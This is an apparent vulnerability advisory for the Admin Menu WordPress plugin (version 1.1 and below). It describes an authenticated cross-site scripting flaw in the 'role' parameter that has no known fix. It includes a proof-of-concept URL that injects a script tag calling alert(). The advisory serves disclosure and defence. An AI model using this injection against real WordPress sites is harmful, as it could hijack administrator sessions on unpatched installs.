WordPress Plugin Vulnerabilities

Admin Menu <= 1.1 - Authenticated Cross-Site Scripting (XSS)

Description

The Admin Menu WordPress plugin, versions 1.1 and below, were vulnerable to Authenticated Cross-Site Scripting (XSS) within the "role" GET parameter.

Proof of Concept

http://www.example.com/wp-admin/admin.php?page=admin-menu-pro&role=<script>alert(String.fromCharCode(88,83,83))</script>

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
zerodetail & ratherbland
Verified
No

Timeline

Publicly Published
2020-08-10 (about 3 years ago)
Added
2020-08-26 (about 3 years ago)
Last Updated
2020-08-27 (about 3 years ago)

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